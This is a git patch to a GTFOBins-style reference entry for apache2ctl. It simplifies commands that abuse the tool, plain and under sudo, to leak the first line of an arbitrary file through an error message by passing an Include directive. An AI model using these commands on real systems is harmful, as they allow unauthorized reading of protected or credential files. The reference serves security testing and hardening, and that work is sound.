From 0190295ed22c7862dae77d719d38af084dd10361 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Sat, 23 Dec 2023 12:13:45 +0100 Subject: [PATCH] Simplify apache2ctl --- _gtfobins/apache2ctl.md | 22 +++++++++------------- 1 file changed, 9 insertions(+), 13 deletions(-) diff --git a/_gtfobins/apache2ctl.md b/_gtfobins/apache2ctl.md index 1423710..20280e0 100644 --- a/_gtfobins/apache2ctl.md +++ b/_gtfobins/apache2ctl.md @@ -1,16 +1,12 @@ --- -description: apache2ctl is a front end to the Apache HyperText Transfer Protocol (HTTP) server. It is designed to help the administrator control the functioning of the Apache apache2 daemon. +description: This includes the file in the actual configuration file, the first line is leaked as an error message. functions: - file-read: - - code: cp -r /etc/apache2/ /tmp/apache2 - - code: | - LFILE=file_to_read - echo "Include $LFILE" >> /tmp/apache2/apache2.conf - - code: apache2ctl -d /tmp/apache2 -k restart - sudo: - - code: cp -r /etc/apache2/ /tmp/apache2 - - code: | - LFILE=file_to_read - echo "Include $LFILE" >> /tmp/apache2/apache2.conf - - code: sudo apache2ctl -d /tmp/apache2 -k restart + file-read: + - code: | + LFILE=file_to_read + apache2ctl -c "Include $LFILE" -k stop + sudo: + - code: | + LFILE=file_to_read + sudo apache2ctl -c "Include $LFILE" -k stop ---